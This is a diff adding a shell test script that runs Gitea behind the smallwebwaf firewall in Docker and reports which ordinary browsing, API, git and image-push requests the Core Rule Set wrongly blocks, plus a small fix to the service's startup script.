+# never touch each other's.
+NAME="$("$SCRIPT_DIR/projectname")-gitea-$$"
+IMAGE="$NAME-image"
+NETWORK="$NAME"
+SMALLWEBWAF="$NAME-smallwebwaf"
+GITEA="$NAME-gitea"
+
+# gitea's one user, who owns the repository and the container images.
+PASSWORD="owner-password"
+
+BROWSER="Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0"
+
+# The files the script makes, and smallwebwaf's address once it runs,
+# localhost and the port docker publishes it on: a host name, since the
+# Core Rule Set takes a Host that is an IP address for a warning (920350).
+WORK=""
+address=""
+
+cleanup() {
+    # So that a signal cannot stop it partway through.
+    trap '' HUP INT TERM
+    docker rm --force --volumes "$SMALLWEBWAF" "$GITEA" >/dev/null 2>&1 || true
+    docker network rm "$NETWORK" >/dev/null 2>&1 || true
+    docker rmi --force "$IMAGE" >/dev/null 2>&1 || true
+    if [ -n "$address" ]; then
+        docker rmi --force "$address/owner/python3-app:1" "$address/owner/app:1" \
+            >/dev/null 2>&1 || true
+    fi
+    rm -rf "$WORK"
+}
+
+fail() {
+    echo "gitea-requests: $*" >&2
+    report
+    exit 1
+}
+
+# wait_for <what fails> <command>...: run the command every second until
+# it succeeds, for at most a minute.
+wait_for() {
+    failure="$1"
+    shift
+    tries=0
+    until "$@"; do
+        tries=$((tries + 1))
+        [ "$tries" -lt 60 ] || fail "$failure"
+        sleep 1
+    done
+}
+
+healthy() {
+    status="$(docker inspect --format '{{.State.Health.Status}}' "$SMALLWEBWAF")"
+    [ "$status" = healthy ]
+}
+
+# logged <text>...: a line of smallwebwaf's output holds every text, in
+# any order.
+logged() {
+    lines="$(docker logs "$SMALLWEBWAF" 2>&1)"
+    for text in "$@"; do
+        lines="$(printf '%s\n' "$lines" | grep -F "$text")" || return 1
+    done
+}
+
+# send <label> <path> <curl option>...: send a request for path to
+# smallwebwaf, with label as its X-Request-ID, which the report gives,
+# and keep the body of the answer in $WORK/answer. The Core Rule Set
+# reads that header too, so a label names no file the cases name.
+send() {
+    label="$1"
+    path="$2"
+    shift 2
+    curl --silent --show-error --max-time 30 --output "$WORK/answer" \
+        --header "X-Request-ID: $label" "$@" "http://$address$path"
+}
+
+# page <label> <path> <curl option>...: send the request as a browser
+# does, with the cookies gitea has set. Its Referer is the repository's
+# page, which links to the others, and never a page the Core Rule Set
+# refused: its address would have the next request refused too.
+page() {
+    label="$1"
+    path="$2"
+    shift 2
+    send "$label" "$path" --compressed --user-agent "$BROWSER" \
+        --header "Accept: text/html,application/xhtml+xml,*/*;q=0.8" \
+        --header "Accept-Language: en-US,en;q=0.5" \
+        --cookie "$WORK/cookies" --cookie-jar "$WORK/cookies" \
+        --referer "http://$address/owner/repo" "$@"
+}
+
+# api <label> <path> <curl option>...: send the request as a client of
+# gitea's API does, as the owner.
+api() {
+    label="$1"
+    path="$2"
+    shift 2
+    send "$label" "$path" --user "owner:$PASSWORD" \
+        --header "Accept: application/json" "$@"
+}
+
+# repo_git <git argument>...: run git as the owner, without the host's
+# own git settings, so that nothing it does is kept outside $WORK.
+repo_git() {
+    GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_NOSYSTEM=1 git \
+        -c user.name=owner -c user.email=owner@example.invalid "$@"
+}
+
+# lines: forty lines of text, enough for a diff to hide some of them.
+lines() {
+    i=1
+    while [ "$i" -le 40 ]; do
+        echo "line $i"
+        i=$((i + 1))
+    done
+}
+
+# make_repository: create the repository owner/repo, holding a file of
+# each name the cases name, and push it, which is the push over HTTP of
+# the sample. The second commit adds a line at the end of Runtime.java,
+# so that its diff hides the lines above.
+make_repository() {
+    status="$(api create-repository /api/v1/user/repos \
+        --header "Content-Type: application/json" --data '{"name":"repo"}' \
+        --write-out '%{http_code}')"
+    [ "$status" = 201 ] || fail "creating the repository was answered $status"
+
+    dir="$WORK/repo"
+    repo_git init --quiet --initial-branch=main "$dir"
+    for file in \
+        src/java.base/share/classes/java/lang/Runtime.java \
+        java.lang.String.md \
+        META-INF/services/org.apache.commons.logging.LogFactory \
+        document.write.js \
+        process.env.d.ts \
+        test/fixtures/__proto__.json \
+        install-script.sh \
+        src/backend/catalog/information_schema.sql \
+        .../notes.txt \
+        README.md; do
+        mkdir -p "$dir/$(dirname "$file")"
+        lines >"$dir/$file"
+        repo_git -C "$dir" add "$file"
+    done
+    repo_git -C "$dir" commit --quiet --message "Add the files"
+    echo "line 41" >>"$dir/src/java.base/share/classes/java/lang/Runtime.java"
+    repo_git -C "$dir" commit --quiet --all --message "Add a line"
+
+    repo_git -C "$dir" -c "http.extraHeader=X-Request-ID: git-push" push --quiet \
+        "http://owner:$PASSWORD@$address/owner/repo.git" main ||
+        fail "the push of the repository failed"
+}
+
+# browse: sign in, then open pages as a person does. The cases are those
+# of https://git.eeqj.de/sneak/smallwebwaf/issues/30.
+browse() {
+    # Case: gitea sends a visitor who is not signed in to the sign-in
+    # page, with the page asked for in redirect_to, when that page needs
+    # signing in, as a file's edit page does.
+    page issue-30-case /owner/repo/_edit/main/document.write.js --location
+
+    page sign-in /user/login
+    status="$(page sign-in /user/login --header "Origin: http://$address" \
+        --data-urlencode user_name=owner --data-urlencode "password=$PASSWORD" \
+        --write-out '%{http_code}')"
+    [ "$status" = 303 ] || fail "signing in was answered $status"
+
+    page browse /
+    page browse /owner/repo
+    page browse /owner/repo/src/branch/main/README.md
+    page browse /owner/repo/commits/branch/main
+    page browse "/owner/repo/commit/$(repo_git -C "$WORK/repo" rev-parse HEAD)"
+
+    # Case: expanding the lines the diff hides, by the link the diff's
+    # page gives for it.
+    excerpt="$(sed -n 's/.*data-fetch-url="\([^"]*blob_excerpt[^"]*\)".*/\1/p' \
+        "$WORK/answer" | head -n 1 | sed 's/&amp;/\&/g')"
+    [ -n "$excerpt" ] || fail "the diff's page has no link to its hidden lines"
+    page issue-30-case "$excerpt"
+
+    # Cases: the commit graph of one file, and the pages of files whose
+    # path the Core Rule Set takes for an attack.
+    page issue-30-case "/owner/repo/graph?file=src/java.base/share/classes/java/lang/Runtime.java"
+    page issue-30-case /owner/repo/src/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
+    page issue-30-case /owner/repo/src/branch/main/java.lang.String.md
+    page issue-30-case /owner/repo/src/branch/main/process.env.d.ts
+    page issue-30-case /owner/repo/src/branch/main/.../notes.txt
+}
+
+# call_api: the API's calls the cases name: the commits of a file, for a
+# file of each name the Core Rule Set takes for an attack in the query
+# parameter path, and the file-contents call, which takes its list of
+# files as JSON in the query parameter body.
+call_api() {
+    for file in \
+        src/java.base/share/classes/java/lang/Runtime.java \
+        java.lang.String.md \
+        document.write.js \
+        process.env.d.ts \
+        test/fixtures/__proto__.json \
+        install-script.sh \
+        src/backend/catalog/information_schema.sql; do
+        api issue-30-case /api/v1/repos/owner/repo/commits --get --data-urlencode "path=$file"
+    done
+    api issue-30-case /api/v1/repos/owner/repo/file-contents --get \
+        --data-urlencode 'body={"files":["src/java.base/share/classes/java/lang/Runtime.java"]}'
+}
+
+# push_images: push a container image to owner/python3-app, then the same
+# image to owner/app. For the second, the case, docker asks gitea to take
+# its layer from owner/python3-app, naming it in the query parameter
+# from. docker sends no X-Request-ID, so its requests have the ids
+# smallwebwaf gives them. The image is one small file, imported rather
+# than built.
+push_images() {
+    echo "$NAME" >"$WORK/layer.txt"
+    tar -cf - -C "$WORK" layer.txt |
+        docker import - "$address/owner/python3-app:1" >/dev/null
+    docker tag "$address/owner/python3-app:1" "$address/owner/app:1"
+
+    # The login is written here rather than made with docker login, which
+    # would keep it in the host's credential helper when it has one.
+    mkdir "$WORK/docker"
+    printf '{"auths":{"%s":{"auth":"%s"}}}\n' "$address" \
+        "$(printf 'owner:%s' "$PASSWORD" | base64)" >"$WORK/docker/config.json"
+    for image in "$address/owner/python3-app:1" "$address/owner/app:1"; do
+        DOCKER_CONFIG="$WORK/docker" docker push --quiet "$image" >/dev/null ||
+            echo "gitea-requests: the push of $image failed" >&2
+    done
+}
+
+# clone_and_fetch: the clone and fetch over HTTP of the sample.
+clone_and_fetch() {
+    repo_git -c "http.extraHeader=X-Request-ID: git-clone" clone --quiet \
+        "http://owner:$PASSWORD@$address/owner/repo.git" "$WORK/clone" ||
+        fail "the clone failed"
+    repo_git -C "$WORK/clone" -c "http.extraHeader=X-Request-ID: git-fetch" fetch --quiet ||
+        fail "the fetch failed"
+}
+
+# field <name> <line>: the text of the field name in line, a line of the
+# request log, or nothing when it has none.
+field() {
+    printf '%s\n' "$2" | sed -n "s/.*\"$1\":\"\([^\"]*\)\".*/\1/p"
+}
+
+# report: print a line for each request smallwebwaf logged, but its
+# health checks: what it did with the request, the ids of the Core Rule
+# Set's rules that matched it, its X-Request-ID, and the request.
+# waf_blocked is a refusal by the Core Rule Set, and forward a request
+# passed on to gitea, whatever gitea answered.
+report() {
+    docker logs "$SMALLWEBWAF" 2>/dev/null | grep '"type":"request"' |
+        grep -v '"action":"admin"' | sed 's/\\u0026/\&/g' >"$WORK/requests"
+    while IFS= read -r line; do
+        ids="$(printf '%s\n' "$line" | sed -n 's/.*"waf_rule_ids":\[\([0-9,]*\)\].*/\1/p')"
+        query="$(field query "$line")"
+        printf '%-11s %-13s %-17s %s %s%s\n' "$(field action "$line")" "${ids:--}" \
+            "$(field request_id "$line")" "$(field method "$line")" \
+            "$(field path "$line")" "${query:+?$query}"
+    done <"$WORK/requests"
+    echo "gitea-requests: $(grep -c . "$WORK/requests") requests," \
+        "$(grep -c '"action":"waf_blocked"' "$WORK/requests") refused by the Core Rule Set"
+}
+
+main() {
+    cd "$ROOT"
+    trap cleanup EXIT
+    trap 'exit 1' HUP INT TERM
+    WORK="$(mktemp -d)"
+
+    docker build --no-cache -t "$IMAGE" .
+
+    # smallwebwaf first, so that gitea can be given the address it is
+    # reached at, and gitea's image pulled before, so that gitea starts
+    # within the minute smallwebwaf's health check waits for it.
+    docker pull --quiet "$GITEA_IMAGE" >/dev/null
+    docker network create "$NETWORK" >/dev/null
+    docker run --detach --name "$SMALLWEBWAF" --network "$NETWORK" \
+        --publish 127.0.0.1::8080 \
+        --env SWWAF_UPSTREAM_URL="http://$GITEA:3000" \
+        "$IMAGE" >/dev/null
+    published="$(docker port "$SMALLWEBWAF" 8080/tcp)"
+    address="localhost:${published##*:}"
+
+    docker run --detach --name "$GITEA" --network "$NETWORK" \
+        --env GITEA__security__INSTALL_LOCK=true \
+        --env GITEA__server__ROOT_URL="http://$address/" \
+        "$GITEA_IMAGE" >/dev/null
+    # smallwebwaf's health check passes once gitea takes connections.
+    wait_for "the health check did not pass" healthy
+    docker exec --user git "$GITEA" gitea admin user create --admin \
+        --username owner --password "$PASSWORD" --email owner@example.invalid \
+        --must-change-password=false >/dev/null
+
+    make_repository
+    browse
+    call_api
+    push_images
+    clone_and_fetch
+
+    # The fetch's last request is the last of all; once it is logged, so
+    # is every other.
+    wait_for "smallwebwaf logged no line for the fetch" \
+        logged '"request_id":"git-fetch"' '"method":"POST"'
+    report
+}
+
+main "$@"

share/smallwebwaf.run

@@ -5,12 +5,32 @@ set -euo pipefail
 # exits; the wait spaces out the restarts. The state directory and every
 # file in it are given to the smallwebwaf user, so that a volume mounted
 # there needs no change of owner; chown -R changes a symbolic link itself,
-# never what it points to. exec, so that the signal `sv stop` sends
-# reaches smallwebwaf itself.
+# never what it points to. When SWWAF_STATE_DIR, in either form, cannot be
+# read or is not the absolute path of a directory, no owner is changed,
+# and smallwebwaf starts and stops with a message naming the setting. A
+# change of owner that fails, as on a volume mounted read-only, does not
+# end the script either: smallwebwaf reports a directory it cannot write.
+# exec, so that the signal `sv stop` sends reaches smallwebwaf itself.
 main() {
     sleep 1
-    chown -R smallwebwaf:smallwebwaf "${SWWAF_STATE_DIR:-/var/lib/smallwebwaf}"
+    local dir
+    if dir="$(state_dir)" && [[ "$dir" == /* && -d "$dir" ]]; then
+        chown -R smallwebwaf:smallwebwaf "$dir" || true
+    fi
     exec chpst -u smallwebwaf:smallwebwaf /usr/local/bin/smallwebwaf
 }
 
+# state_dir prints SWWAF_STATE_DIR, /var/lib/smallwebwaf when it is unset,
+# or what is in the file SWWAF_STATE_DIR_FILE names, less every newline at
+# its end. It fails when both are set or the file cannot be read.
+state_dir() {
+    if [[ ! -v SWWAF_STATE_DIR_FILE ]]; then
+        printf '%s\n' "${SWWAF_STATE_DIR-/var/lib/smallwebwaf}"
+    elif [[ ! -v SWWAF_STATE_DIR ]]; then
+        cat -- "$SWWAF_STATE_DIR_FILE" 2>/dev/null
+    else
+        return 1
+    fi
+}
+
 main "$@"